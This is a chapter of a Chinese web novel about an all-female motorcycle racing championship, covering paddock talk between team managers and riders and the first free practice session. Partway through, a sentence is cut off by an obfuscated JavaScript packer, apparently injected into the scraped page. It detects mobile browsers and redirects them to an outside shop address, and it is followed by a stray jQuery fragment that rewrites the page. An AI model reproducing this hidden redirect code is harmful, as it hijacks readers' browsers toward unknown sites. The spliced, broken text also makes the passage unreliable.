两人并肩站在卡特的P房门口聊天,齐成钰自然地接过卡特领队递来的耳塞,塞西尔侧头戴耳塞的时候说道:“丹尼亚去年没这么摔,今年刚跑四站,她摔了五次。”
卡特领队也站这儿闲聊:“今年红豹的优化有问题,这样摔下去车手肯定受不了,就是不知道丹尼亚有没有转会意愿……”
“老东家了,她应该不会转会吧。”塞西尔说了一句。
“她实力还是不错的。”卡特领队掏出手机,低头看了一眼时间,“可惜了,缺人啊。TC明年既升级又补强,这才第五站就召开新车测试发布会,生怕别人不知道今年的低迷只是暂时的。”
“TC低迷,梅赛德斯可不低迷。”塞西尔说:“在长安站她居然能反杀江会,我真想不到。”
“C组还有五分钟FP1结束,A组九点五十开始,趁这段时间再调调车吧,27你的话,最好是……”卡特领队说出口就发现了不对,蓦地停住,敲了敲额头:“……你是枭的车手,我给忘了。”
齐成钰和塞西尔站在这里,就让领队想起前年那个夏天,那时候她们虽然是卡特卫星车队“弯心”的车手,但卡特重视她们,厂队的技师和工程师经常借用过去。
塞西尔笑了起来。齐成钰摆了摆手,“我也快忘了我是枭的车手了。”
等到齐成钰回到枭,一个幽怨的中年人等在门口。
枭的领队一如既往,自然卷曲的深金色头发乱蓬蓬地堆在头顶,她的名字翻译过来有个冯字,按照枭一贯的外号模式,一般都喊她老冯。
老冯什么都没说,但那双深邃的眼睛仿佛什么都说了。
齐成钰无视她那副欲言又止的神色,走在前面随口问道:“现在温度多少?”
“27℃,半个小时后赛道温度达到30℃以上。”
老冯快步跟上,推着齐成钰的肩膀把她推回枭的车房,回头和卡特的领队对视,两人的视线兵戎相见,都快摩擦出火星子了。
塞西尔在等自己的队友,盯着两家领队无声的交锋,嘴角一直没下去过。
她的队友跑着走的,走着回来的,正好又一次和齐成钰擦肩而过,彼此间点了点头。领队转身拍了拍塞西尔的肩膀,“别看了,走了。”
塞西尔向队友招手,转身的同时对领队说道:“我觉得还是江会给我的压力更大一些,今年就这么几站,27积分劣势,枭为什么不再重视江会一点?”
“等她这站再拿个冠军,你也该紧张起来了。”领队说。
B组和C组的一练间隔了十五分钟,而A组和B组的间隔时间考虑到了天气问题,间隔了二十分钟,让赛道得到足够的降温以免过热。
FP1期间,视频平台与TV频道已经开始同步转播,和长安赛道一样,一练解说不上班,导播切换画面到赛道实况,实时温度与天气标记在左上方,下侧是成竖列的选手栏。
齐成钰和江会已经穿上赛车服,工程师老王和领队老冯两个金毛,一边站一个,两人都戴好了耳麦,老王说:“注意制动,注意刹车,及时进站!”
老冯拿着赛道详略图,笔尖不断在屏幕上缩放,“注意直道,注意下坡。记得看电子面板!”
齐成钰在看P房内部的屏幕,此刻有两块亮起比赛画面,另外一块屏幕显示赛道情况。
时间在画面的右上角短暂出现,九点五十分。
两天了没见到半个人影的梅赛德斯准时刷新在赛道上,她第一个出站,正对着维修站通道的看台上已经聚集了不少观众,看到赛车驶出,响起一阵欢呼声。
“那我也走了。”齐成钰戴好头盔,跨上赛车,习惯性地下压轰鸣起步,很快消失在众人的视线里。
江会慢悠悠地戴着头盔,有意和齐成钰错开,反正一练45分钟,只是练习,并不计入成绩,她根本不急。
27出站以后,卡特的二位车手紧随其后,江会等了半分钟才出站。她的赛车涂装和齐成钰稍有不同,黑绿占主要颜色,银色仅作为点缀。
其她车手也陆陆续续地上了赛道,比赛画面发生变化,第一个出站的梅赛德斯已经跑完了第一圈,数据在选手栏的旁边出现,同时镜头也切换到车手身上。
“一分……44.963。”方鹏摸了摸下巴,“去年是多少来着,今年一练强度就上这么高吗。”
“今年的车提升都很大啊,前几站都刷新了赛道纪录。”老王拎着工具箱,鼓捣着她的零件,在维修区走来走去,时不时抬头看一眼屏幕。
她左手拿扳手,埋着头左右看,眼镜滑到了鼻尖,似乎在找什么。方鹏看着她绕了两圈,没忍住问道:“你找什么呢?”
“三代和四代的差距很大,你看子弹的那两名车手,骑的是三代TC旧车,前几站就进了两次前十五名。”老王忽然抬头指着屏幕说话,然后顿了顿,这才反应过来,后知后觉地看向方鹏,仿佛上一句话现在才传进她的耳朵里。
老王尬笑两声,“哈哈,哈哈……你刚才说什么?”
方鹏也是习惯了,重复了一遍:“你找什么呢,我帮你找。”
“我找卸M3的那个小扳手。”老王举起手上的开口扳手,“比这个更小一点。不好意思啊,我刚才在想东西,没注意你说什么。”
“我这呢我这呢!”工作台方向,一名技师举起手挥了挥,“老王你现在用吗,我的让大山拿走了。”
“我用,你工作台也借我一下。”老王箱不离手,拿着工具箱和零件就过去了,“大山干什么去了,我这里有个东西想让她修一下。”
几辆车先后经过维修区,声浪席卷,方鹏戴着耳塞加耳麦都觉得震耳朵。
她在那些车里一眼就能找到齐成钰,不过再快一点就看不清了。同为枭的赛车,齐成钰的车辆涂装主要是黑色与银色,绿色占比少,闪电状的银白色亮带贯穿黑色车身,速度快起来的时候只有那道闪电最明显。
在长安站,齐成钰的赛车涂装还是临时改的,现在做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046550|194743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了调整。前三站齐成钰并不在,她算临时参赛,枭的二号车手在第三站摔车出现严重事故,被迫退赛,枭才紧急联系到了齐成钰签约。
不然齐成钰本来打算参加明年的全年赛,今年先好好学习。
想到这儿,方鹏忧愁起来,她已经习惯跟着齐成钰跑比赛,从C组到A组,方鹏一直都在,全年赛制才是常态,中间穿插夏休和冬假,她根本没时间学习,一年都不一定去一次学校,看现在这样子,大学想靠自己毕业也是无望。
“唉,高考!”齐成钰甚至还没高考,方鹏叹气:“唉,学历!”
实在不行找家名校捐点钱,挂个名誉算了。
唉,资本!
老冯刚出去了一趟,这会儿拿着平板回来,回来就看到方鹏在唉声叹气,一下子紧张起来,冲过来看屏幕:“出什么事了?”
27刚跑完一圈,现在在跑第二圈,圈速数据显示在选手名称后方。“1∶44.872……”老冯喃喃,“好像没什么事。”
不仅没事,这个数据还很健康。
第一圈无功无过,跑进一分四十四秒以内,很快塞西尔等人的数据刷新出来,齐成钰的圈速排名位居第四。她的车辆在直道逐渐贴近江会,压弯时紧跟在江会后方,看起来暂时没有超过去的打算,跟在后面吸尾流吹吹风,相当悠闲。
在镜头没有给到的地方,江会容忍她跟在自己后面跑了半圈,随后在7号到9号的连续过弯中甩掉了那狗皮膏药,来到稍有坡度的直道,同为直线优势的枭让27占不着便宜,很快拉开距离。
学一会儿得了,这狗皮膏药是奔着复制走线来的吗。
齐成钰还在熟悉赛道,第一圈感受松下赛道的高低变化带来的过弯角度不同,第二圈观察了一段时间江会的过弯走线,结合她昨晚对过往比赛录像的研究,齐成钰心里大概有数了。
江会在松下赛道的弯道表现确实不弱,和她在长安的表现判若两人,在这里对她最有威胁的人其实是斯凯勒,而斯凯勒的弯道优势是她的驾驶风格与VT赛车的弯道性能共同构成的,和VT维多利亚相比,枭的弯道性能处于弱势。
时间已经过去十七分钟,齐成钰和江会在赛道上再次相遇,这次江会处于后方,看着齐成钰的入弯走线莫名有种既视感,江会心中暗骂一声,学东西真快,真能完美复制又怎么样,她们的风格习惯都不同,适合她的不一定适合齐成钰。
跑完这一圈,齐成钰决定先进站,她现在的轮胎是前中性胎,后软胎,软胎磨损得更快,并不能支持她在剩下的二十八分钟内尽情尝试。
为了节省轮胎,她干脆换了个搭配。
齐成钰无心关注练习赛的圈速成绩,进站后方鹏拿着水杯过来,分享个没完。
领队老冯帮忙拧开水杯,用力拍了拍齐成钰的肩膀,“状态很好,继续保持!电子面板不用管它!”
“一定要注意制动。”老王从工作台后钻出来,“这条赛道非常考验刹车。”